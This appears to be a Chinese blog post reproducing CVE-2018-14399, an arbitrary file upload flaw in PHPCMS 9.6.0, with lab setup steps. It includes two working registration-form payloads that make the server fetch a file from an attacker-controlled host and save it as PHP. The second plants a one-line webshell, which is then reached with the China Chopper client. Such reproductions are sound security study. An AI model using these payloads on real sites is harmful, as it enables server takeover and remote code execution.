phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

一、漏洞描述

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞,该漏洞源于PHPCMS程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的PHP代码。

二、漏洞影响版本

PHPCMS 9.6.0

三、漏洞环境搭建

1、 官方下载phpcms v9.6.0版本,下载地址: http://download.phpcms.cn/v9/9.6/

2、 解压下载的文件,然后把文件放到phpstudy的网站根目录下,浏览器访问192.168.10.171/phpcms/install/install.php,开始安装

  

3、一直点击下一步,在”选择模块”这个环节,选择”全新安装PHPCMS V9”

  

4、然后一直下一步,在”账号设置”这一块填写数据库账号和密码以及设置管理员密码

  

5、然后一直下一步,直到出现如下界面,说面成功安装

  

6、登录后台,生成首页

  

四、漏洞复现

1、浏览器访问前台,注册一个会员

  

2、点击注册页面,抓包

  

3、在另一个系统(kali),开启web服务,然后在web根目录下创建一个txt文件,写入如下信息

  

4、构造POC

siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://192.168.10.153/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

5、修改抓包内容,添加POC

  

6、可以看到返回包的内容包含了上传文件的路径

  

7、浏览器访问

  

8、构造POC,上传一句话

POC内容:

siteid=1&modelid=11&username=testa&password=testa123&email=testa@163.com&info[content]=<img src=http://192.168.10.153/test.txt?.php#.jpg>&dosubmit=1&protocol=

9、修改数据包,添加POC,需要注意: 在repeater里测试go时每一次都要修改username,password和email字段值,保证不能重复。

  

10、可以看到返回包的内容包含了上传文件的路径

  

11、菜刀连接

  

 

posted @ 2019-09-04 14:09  雨中落叶  阅读(6339)  评论(0编辑  收藏  举报